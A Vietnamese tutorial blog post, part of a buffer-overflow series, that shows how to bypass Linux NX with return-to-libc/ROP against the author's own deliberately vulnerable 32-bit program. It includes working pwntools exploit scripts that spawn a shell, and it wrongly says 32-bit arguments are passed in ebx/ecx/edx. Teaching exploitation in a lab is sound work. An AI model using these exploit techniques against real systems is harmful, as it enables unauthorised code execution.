- vừa được xem lúc

Basic Linux Exploit - Buffer Overflow - Phần 4 - Bypass NX (Non-Executable Stack) with Return Oriented Programming (ROP)

0 0 31

Người đăng: Vương Lê

Theo Viblo Asia

Sau các phần 3 phần cơ bản, phần này mình sẽ hướng dẫn các bạn cách để bypass cơ chế NX của linux. Vậy NX là gì? NX (Non-executable Stack) là cơ chế ngăn không cho thực thi mã trên stack, điều này ngăn chặn việc chúng ta tiêm shellcode vào stack, sau đó cố gắng thực thi. Hướng giải quyết đó là sử dụng re2libc.

1. Re2libc là gì?

Re2libc (Return to libc), trong đó libc là thư viện của chương trình C. Tức là ta sẽ sử dụng các hàm có trong thư viện C của chương trình đó để tạo ra 1 shell, ví dụ như gọi hàm system("/bin/sh"). Để làm được điều này, ta cần biết được địa chỉ của hàm system trong libc, sau đó thực hiện gọi hàm, với việc truyền tham số /bin/sh vào.

Bởi vì đang thực hiện trên linux 32 bits, tham số đầu vào sẽ được đẩy vào lần lượt các thanh ghi ebx, ecx, edx,... Chúng ta tiến hành tạo file C như dưới đây:

bypass_nx.c

#include <stdio.h>
#include <string.h> int main(int argc, char *argv[]){ char buff[10]; strcpy(buff, argv[1]); return 0;
}

Complie chương trình (không sử dụng -z execstack để tắt cơ chế NX): gcc -m32 bypass_nx.c -o bypass_nx

Để kiểm tra xem NX đã được tắt chưa, thực hiện: checksec bypass_nx và kết quả nhận được:

┌──(kali㉿kali)-[~/Desktop/Binary Exploit]
└─$ checksec bypass_nx
[*] '/home/kali/Desktop/Binary Exploit/bypass_nx' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled

NX đã được bật, bây giờ không thể thực thi shellcode trong stack được nữa.

2. Bypass NX bằng ROP

Như đã nói, ta thực hiện re2libc, vậy đầu tiên cần biết libc mà chương trình sử dụng. Để làm việc này, ta sử dụng gdb và vmmap để xác định libc.

┌──(kali㉿kali)-[~/Desktop/Binary Exploit]
└─$ gdb bypass_nx 

Run chương trình, break main, sau đó thực hiện vmmap

gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x56555000 0x56556000 0x000000 r-- /home/kali/Desktop/Binary Exploit/bypass_nx
0x56556000 0x56557000 0x001000 r-x /home/kali/Desktop/Binary Exploit/bypass_nx
0x56557000 0x56558000 0x002000 r-- /home/kali/Desktop/Binary Exploit/bypass_nx
0x56558000 0x56559000 0x002000 r-- /home/kali/Desktop/Binary Exploit/bypass_nx
0x56559000 0x5655a000 0x003000 rw- /home/kali/Desktop/Binary Exploit/bypass_nx
0xf7c00000 0xf7c20000 0x000000 r-- /usr/lib32/libc.so.6
0xf7c20000 0xf7d98000 0x020000 r-x /usr/lib32/libc.so.6
0xf7d98000 0xf7e1d000 0x198000 r-- /usr/lib32/libc.so.6
0xf7e1d000 0xf7e1f000 0x21c000 r-- /usr/lib32/libc.so.6
0xf7e1f000 0xf7e20000 0x21e000 rw- /usr/lib32/libc.so.6
0xf7e20000 0xf7e2a000 0x000000 rw- 0xf7fc3000 0xf7fc5000 0x000000 rw- 0xf7fc5000 0xf7fc9000 0x000000 r-- [vvar]
0xf7fc9000 0xf7fcb000 0x000000 r-x [vdso]
0xf7fcb000 0xf7fcc000 0x000000 r-- /usr/lib32/ld-linux.so.2
0xf7fcc000 0xf7fee000 0x001000 r-x /usr/lib32/ld-linux.so.2
0xf7fee000 0xf7ffb000 0x023000 r-- /usr/lib32/ld-linux.so.2
0xf7ffb000 0xf7ffd000 0x02f000 r-- /usr/lib32/ld-linux.so.2
0xf7ffd000 0xf7ffe000 0x031000 rw- /usr/lib32/ld-linux.so.2
0xfffdd000 0xffffe000 0x000000 rw- [stack]
gef➤ 

Như vậy libc chương trình sử dụng là /usr/lib32/libc.so.6 với địa chỉ là 0xf7c00000

Tiếp theo, viết file exploit sử dụng pwntools:

nx_exploit.py

from pwn import *
context.update(os="linux", arch="i386") libc = ELF('/usr/lib32/libc.so.6')
libc.address = 0xf7c00000
rop = ROP(libc)
rop.system(next(libc.search(b"/bin/sh")))
payload = b'A'*18 + bytes(rop)
p = process(["./bypass_nx", payload])
p.interactive()

Chạy file và ta có 1 shell, ngoài ra ta có thể dựa vào các gọi hàm trên linux, 32bits viết exploit như sau:

from pwn import *
context.update(os="linux", arch="i386") libc = ELF('/usr/lib32/libc.so.6')
libc.address = 0xf7c00000
sys = p32(libc.sym.get("system"))
exit = p32(libc.sym.get("exit"))
binsh = p32(next(libc.search(b"/bin/sh"))) payload = b'A'*18 + sys + exit + binsh
p = process(["./bypass_nx", payload])
p.interactive()

Vậy là ta đã tiến hành bypass NX. Phần tiếp theo mình sẽ hướng dẫn các bạn viết shellcode mà chúng ta đã sử dụng trong P1-3. Cảm ơn các bạn đã đọc.

Bình luận

Bài viết tương tự

- vừa được xem lúc

Upload multipart / form-data files to S3 with Python AWS Lambda

Upload multipart / form-data files to S3 with Python AWS Lambda. Overview. Upload the multipart / form-data created via Lambda on AWS to S3. Repo.

0 0 427

- vừa được xem lúc

Giới thiệu về Numpy (một thư viện chủ yếu phục vụ cho khoa học máy tính của Python)

Numpy. Numpy là một thư viện lõi phục vụ cho khoa học máy tính của Python, hỗ trợ cho việc tính toán các mảng nhiều chiều, có kích thước lớn với các hàm đã được tối ưu áp dụng lên các mảng nhiều chiều

0 0 52

- vừa được xem lúc

Xây dựng scan port với python và thư viện scapy

Chào mọi người, sau 2 bài viết về các phương pháp phát hiện live host và scan port bằng nmap, hôm nay mình sẽ hướng dẫn xây dựng 1 công cụ đơn giản có thể quét live host và scan port bằng cách tạo ra

0 0 25

- vừa được xem lúc

Basic Linux Exploit - Buffer Overflow - Phần 2 - Tạo shell với lỗi buffer overflow

Chào mọi người, nối tiếp phần 1, phần 2 mình sẽ thực hiện khai thác lỗi buffer overflow để lấy shell bằng cách sử dụng thư viện pwntools của python3. Dưới đây là mã C của chương trình khai thác phần t

0 0 36

- vừa được xem lúc

Basic Linux Exploit - Buffer Overflow - Phần 3 - Khai thác lỗi tràn bộ đệm với small buffer

Chào mọi người, nối tiếp phần trước, phần này mình sẽ giới thiệu phương pháp khai thác với buffer nhỏ. Như phần trước, buffer của chúng ta có độ lớn 64 bytes, đủ chứa shellcode và thực hiện sửa đổi re

0 0 37

- vừa được xem lúc

BufferOverflow - in a nutshell

Lâu quá không viết bài, nay tui comeback với chủ đề siêu cũ nhưng lại là vấn đề khá khó hiểu đối với một số bạn mới bắt đầu - BufferOverflow. Tổ chức bộ nhớ tiến trình.

0 0 47